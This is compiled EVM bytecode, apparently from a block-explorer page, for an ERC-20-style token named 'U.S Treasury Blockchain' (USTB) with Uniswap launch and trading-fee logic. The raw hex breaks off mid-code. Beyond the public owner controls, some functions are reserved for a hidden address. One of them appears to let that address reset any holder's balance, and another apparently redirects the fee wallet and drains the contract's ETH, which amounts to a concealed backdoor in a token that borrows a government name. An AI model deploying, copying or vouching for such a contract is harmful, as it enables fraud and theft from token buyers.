ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611164906128a1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d29061292f565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b591906120dd565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906129bd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590612a4b565b60405180910390fd5b5f81116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612ad9565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561144c57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117495761148d606461147f600e546010541161146c57600a54611470565b600c545b85611aa290919063ffffffff16565b611b1990919063ffffffff16565b905060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611538575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158b575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115a85760105f8154809291906115a290612af7565b91905055505b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561163057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611674576116716064611663600f546010541161165057600b54611654565b600d545b85611aa290919063ffffffff16565b611b1990919063ffffffff16565b90505b5f61167e30610598565b9050600260159054906101000a900460ff161580156116e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117015750600260169054906101000a900460ff165b15611747575f81111561173d575f600554821061172057600554611722565b815b905061173b8185106117345781611736565b845b611b62565b505b61174647611dcd565b5b505b5f811115611848576117a18160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3590919063ffffffff16565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161183f91906120dd565b60405180910390a35b6118988260075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9290919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061193b6118ef8284611e9290919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3590919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119de8486611e9290919063ffffffff16565b6040516119eb91906120dd565b60405180910390a350505050565b5f838311158290611a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a379190611fac565b60405180910390fd5b505f8385611a4e9190612b3e565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611a9e573d5f5f3e3d5ffd5b5050565b5f5f8303611ab2575f9050611b13565b5f8284611abf919061247f565b9050828482611ace9190612b9e565b14611b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0590612c3e565b60405180910390fd5b809150505b92915050565b5f611b5a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611edb565b905092915050565b6001600260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b9957611b98612c5c565b5b604051908082528060200260200182016040528015611bc75781602001602082028036833780820191505090505b50905030815f81518110611bde57611bdd612c89565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c82573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ca6919061260c565b81600181518110611cba57611cb9612c89565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d203060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ff565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d82959493929190612d6d565b5f604051808303815f87803b158015611d99575f5ffd5b505af1158015611dab573d5f5f3e3d5ffd5b50505050505f600260156101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e31573d5f5f3e3d5ffd5b5050565b5f5f8284611e439190612dc5565b905083811015611e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7f90612e42565b60405180910390fd5b8091505092915050565b5f611ed383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119f9565b905092915050565b5f5f83118290611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f189190611fac565b60405180910390fd5b505f8385611f2f9190612b9e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7e82611f3c565b611f888185611f46565b9350611f98818560208601611f56565b611fa181611f64565b840191505092915050565b5f6020820190508181035f830152611fc48184611f74565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ff982611fd0565b9050919050565b61200981611fef565b8114612013575f5ffd5b50565b5f8135905061202481612000565b92915050565b5f819050919050565b61203c8161202a565b8114612046575f5ffd5b50565b5f8135905061205781612033565b92915050565b5f5f6040838503121561207357612072611fcc565b5b5f61208085828601612016565b925050602061209185828601612049565b9150509250929050565b5f8115159050919050565b6120af8161209b565b82525050565b5f6020820190506120c85f8301846120a6565b92915050565b6120d78161202a565b82525050565b5f6020820190506120f05f8301846120ce565b92915050565b5f5f5f6060848603121561210d5761210c611fcc565b5b5f61211a86828701612016565b935050602061212b86828701612016565b925050604061213c86828701612049565b9150509250925092565b5f60ff82169050919050565b61215b81612146565b82525050565b5f6020820190506121745f830184612152565b92915050565b5f6020828403121561218f5761218e611fcc565b5b5f61219c84828501612016565b91505092915050565b6121ae81611fef565b82525050565b5f6020820190506121c75f8301846121a5565b92915050565b6121d68161209b565b81146121e0575f5ffd5b50565b5f813590506121f1816121cd565b92915050565b5f5f6040838503121561220d5761220c611fcc565b5b5f61221a85828601612016565b925050602061222b858286016121e3565b9150509250929050565b5f61223f82611fd0565b9050919050565b61224f81612235565b8114612259575f5ffd5b50565b5f8135905061226a81612246565b92915050565b5f6020828403121561228557612284611fcc565b5b5f6122928482850161225c565b91505092915050565b5f5f604083850312156122b1576122b0611fcc565b5b5f6122be85828601612016565b92505060206122cf85828601612016565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561235b57808604811115612337576123366122d9565b5b60018516156123465780820291505b808102905061235485612306565b945061231b565b94509492505050565b5f82612373576001905061242e565b81612380575f905061242e565b816001811461239657600281146123a0576123cf565b600191505061242e565b60ff8411156123b2576123b16122d9565b5b8360020a9150848211156123c9576123c86122d9565b5b5061242e565b5060208310610133831016604e8410600b84101617156124045782820a9050838111156123ff576123fe6122d9565b5b61242e565b6124118484846001612312565b92509050818404811115612428576124276122d9565b5b81810290505b9392505050565b5f61243f8261202a565b915061244a83612146565b92506124777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612364565b905092915050565b5f6124898261202a565b91506124948361202a565b92508282026124a28161202a565b915082820484148315176124b9576124b86122d9565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124f4602083611f46565b91506124ff826124c0565b602082019050919050565b5f6020820190508181035f830152612521816124e8565b9050919050565b7f45524332303a206572726f7200000000000000000000000000000000000000005f82015250565b5f61255c600c83611f46565b915061256782612528565b602082019050919050565b5f6020820190508181035f83015261258981612550565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f6125c4601183611f46565b91506125cf82612590565b602082019050919050565b5f6020820190508181035f8301526125f1816125b8565b9050919050565b5f8151905061260681612000565b92915050565b5f6020828403121561262157612620611fcc565b5b5f61262e848285016125f8565b91505092915050565b5f60408201905061264a5f8301856121a5565b61265760208301846121a5565b9392505050565b5f819050919050565b5f819050919050565b5f61268a6126856126808461265e565b612667565b61202a565b9050919050565b61269a81612670565b82525050565b5f60c0820190506126b35f8301896121a5565b6126c060208301886120ce565b6126cd6040830187612691565b6126da6060830186612691565b6126e760808301856121a5565b6126f460a08301846120ce565b979650505050505050565b5f8151905061270d81612033565b92915050565b5f5f5f6060848603121561272a57612729611fcc565b5b5f612737868287016126ff565b9350506020612748868287016126ff565b9250506040612759868287016126ff565b9150509250925092565b5f6040820190506127765f8301856121a5565b61278360208301846120ce565b9392505050565b5f81519050612798816121cd565b92915050565b5f602082840312156127b3576127b2611fcc565b5b5f6127c08482850161278a565b91505092915050565b7f66696e64206661696c65640000000000000000000000000000000000000000005f82015250565b5f6127fd600b83611f46565b9150612808826127c9565b602082019050919050565b5f6020820190508181035f83015261282a816127f1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61288b602483611f46565b915061289682612831565b604082019050919050565b5f6020820190508181035f8301526128b88161287f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612919602283611f46565b9150612924826128bf565b604082019050919050565b5f6020820190508181035f8301526129468161290d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129a7602583611f46565b91506129b28261294d565b604082019050919050565b5f6020820190508181035f8301526129d48161299b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612a35602383611f46565b9150612a40826129db565b604082019050919050565b5f6020820190508181035f830152612a6281612a29565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ac3602983611f46565b9150612ace82612a69565b604082019050919050565b5f6020820190508181035f830152612af081612ab7565b9050919050565b5f612b018261202a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b3357612b326122d9565b5b600182019050919050565b5f612b488261202a565b9150612b538361202a565b9250828203905081811115612b6b57612b6a6122d9565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ba88261202a565b9150612bb38361202a565b925082612bc357612bc2612b71565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c28602183611f46565b9150612c3382612bce565b604082019050919050565b5f6020820190508181035f830152612c5581612c1c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ce881611fef565b82525050565b5f612cf98383612cdf565b60208301905092915050565b5f602082019050919050565b5f612d1b82612cb6565b612d258185612cc0565b9350612d3083612cd0565b805f5b83811015612d60578151612d478882612cee565b9750612d5283612d05565b925050600181019050612d33565b5085935050505092915050565b5f60a082019050612d805f8301886120ce565b612d8d6020830187612691565b8181036040830152612d9f8186612d11565b9050612dae60608301856121a5565b612dbb60808301846120ce565b9695505050505050565b5f612dcf8261202a565b9150612dda8361202a565b9250828201905080821115612df257612df16122d9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612e2c601b83611f46565b9150612e3782612df8565b602082019050919050565b5f6020820190508181035f830152612e5981612e20565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202017c71d8dfaac3e1b167048fb3d70396d2ed454e3bb2fa69ad3c8490568b5b464736f6c634300081c0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c80638da5cb5b11610094578063c33608ca11610063578063c33608ca1461036b578063c6fc986514610381578063dbd443f5146103a9578063dd17e729146103d3578063dd62ed3e146103fd57610113565b80638da5cb5b1461029f578063903876ad146102c957806395d89b4114610305578063a9059cbb1461032f57610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d57806370a0823114610237578063715018a614610273578063751039fc1461028957610113565b806306fdde0314610117578063095ea7b31461014157806316f7f54f1461017d57806318160ddd146101a757610113565b3661011357005b5f5ffd5b348015610122575f5ffd5b5061012b610439565b6040516101389190611fac565b60405180910390f35b34801561014c575f5ffd5b506101676004803603810190610162919061205d565b610476565b60405161017491906120b5565b60405180910390f35b348015610188575f5ffd5b50610191610493565b60405161019e91906120dd565b60405180910390f35b3480156101b2575f5ffd5b506101bb610499565b6040516101c891906120dd565b60405180910390f35b3480156101dc575f5ffd5b506101f760048036038101906101f291906120f6565b6104bc565b60405161020491906120b5565b60405180910390f35b348015610218575f5ffd5b50610221610590565b60405161022e9190612161565b60405180910390f35b348015610242575f5ffd5b5061025d6004803603810190610258919061217a565b610598565b60405161026a91906120dd565b60405180910390f35b34801561027e575f5ffd5b506102876105de565b005b348015610294575f5ffd5b5061029d61072e565b005b3480156102aa575f5ffd5b506102b361085e565b6040516102c091906121b4565b60405180910390f35b3480156102d4575f5ffd5b506102ef60048036038101906102ea91906121f7565b610885565b6040516102fc91906120dd565b60405180910390f35b348015610310575f5ffd5b50610319610a12565b6040516103269190611fac565b60405180910390f35b34801561033a575f5ffd5b506103556004803603810190610350919061205d565b610a4f565b60405161036291906120b5565b60405180910390f35b348015610376575f5ffd5b5061037f610a6c565b005b34801561038c575f5ffd5b506103a760048036038101906103a29190612270565b610f8f565b005b3480156103b4575f5ffd5b506103bd61106a565b6040516103ca91906120dd565b60405180910390f35b3480156103de575f5ffd5b506103e7611070565b6040516103f491906120dd565b60405180910390f35b348015610408575f5ffd5b50610423600480360381019061041e919061229b565b611076565b60405161043091906120dd565b60405180910390f35b60606040518060400160405280601781526020017f552e5320547265617375727920426c6f636b636861696e000000000000000000815250905090565b5f6104896104826110f8565b84846110ff565b6001905092915050565b60035481565b5f6009600a6104a89190612435565b633b9aca006104b7919061247f565b905090565b5f6104c88484846112c2565b610585846104d46110f8565b61058085604051806060016040528060288152602001612e616028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105376110f8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f99092919063ffffffff16565b6110ff565b600190509392505050565b5f6009905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105e66110f8565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066a9061250a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107366110f8565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ba9061250a565b60405180910390fd5b6009600a6107d19190612435565b633b9aca006107e0919061247f565b6003819055506009600a6107f49190612435565b633b9aca00610803919061247f565b6004819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6108389190612435565b633b9aca00610847919061247f565b60405161085491906120dd565b60405180910390a1565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f61088e6110f8565b73ffffffffffffffffffffffffffffffffffffffff1660115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390612572565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f15158315151415801561098957505f6009600a61097b9190612435565b60c8610987919061247f565b115b6109ac576009600a61099b9190612435565b60c86109a7919061247f565b610a07565b6009600a6109ba9190612435565b60c86109c6919061247f565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555b508091505092915050565b60606040518060400160405280600481526020017f5553544200000000000000000000000000000000000000000000000000000000815250905090565b5f610a62610a5b6110f8565b84846112c2565b6001905092915050565b610a746110f8565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af89061250a565b60405180910390fd5b600260149054906101000a900460ff1615610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906125da565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bed3060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610bd99190612435565b633b9aca00610be8919061247f565b6110ff565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c57573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7b919061260c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d01573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d25919061260c565b6040518363ffffffff1660e01b8152600401610d42929190612637565b6020604051808303815f875af1158015610d5e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d82919061260c565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e0930610598565b5f5f610e1361085e565b426040518863ffffffff1660e01b8152600401610e35969594939291906126a0565b60606040518083038185885af1158015610e51573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e769190612713565b50505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f16929190612763565b6020604051808303815f875af1158015610f32573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f56919061279e565b506001600260166101000a81548160ff0219169083151502179055506001600260146101000a81548160ff021916908315150217905550565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612813565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061106747611a5b565b50565b60055481565b60045481565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611164906128a1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d29061292f565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b591906120dd565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906129bd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590612a4b565b60405180910390fd5b5f81116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612ad9565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561144c57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117495761148d606461147f600e546010541161146c57600a54611470565b600c545b85611aa290919063ffffffff16565b611b1990919063ffffffff16565b905060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611538575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158b575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115a85760105f8154809291906115a290612af7565b91905055505b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561163057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611674576116716064611663600f546010541161165057600b54611654565b600d545b85611aa290919063ffffffff16565b611b1990919063ffffffff16565b90505b5f61167e30610598565b9050600260159054906101000a900460ff161580156116e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117015750600260169054906101000a900460ff165b15611747575f81111561173d575f600554821061172057600554611722565b815b905061173b8185106117345781611736565b845b611b62565b505b61174647611dcd565b5b505b5f811115611848576117a18160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3590919063ffffffff16565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161183f91906120dd565b60405180910390a35b6118988260075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9290919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061193b6118ef8284611e9290919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3590919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119de8486611e9290919063ffffffff16565b6040516119eb91906120dd565b60405180910390a350505050565b5f838311158290611a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a379190611fac565b60405180910390fd5b505f8385611a4e9190612b3e565b9050809150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611a9e573d5f5f3e3d5ffd5b5050565b5f5f8303611ab2575f9050611b13565b5f8284611abf919061247f565b9050828482611ace9190612b9e565b14611b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0590612c3e565b60405180910390fd5b809150505b92915050565b5f611b5a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611edb565b905092915050565b6001600260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b9957611b98612c5c565b5b604051908082528060200260200182016040528015611bc75781602001602082028036833780820191505090505b50905030815f81518110611bde57611bdd612c89565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c82573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ca6919061260c565b81600181518110611cba57611cb9612c89565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d203060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ff565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d82959493929190612d6d565b5f604051808303815f87803b158015611d99575f5ffd5b505af1158015611dab573d5f5f3e3d5ffd5b50505050505f600260156101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e31573d5f5f3e3d5ffd5b5050565b5f5f8284611e439190612dc5565b905083811015611e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7f90612e42565b60405180910390fd5b8091505092915050565b5f611ed383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119f9565b905092915050565b5f5f83118290611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f189190611fac565b60405180910390fd5b505f8385611f2f9190612b9e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7e82611f3c565b611f888185611f46565b9350611f98818560208601611f56565b611fa181611f64565b840191505092915050565b5f6020820190508181035f830152611fc48184611f74565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ff982611fd0565b9050919050565b61200981611fef565b8114612013575f5ffd5b50565b5f813590506120248161200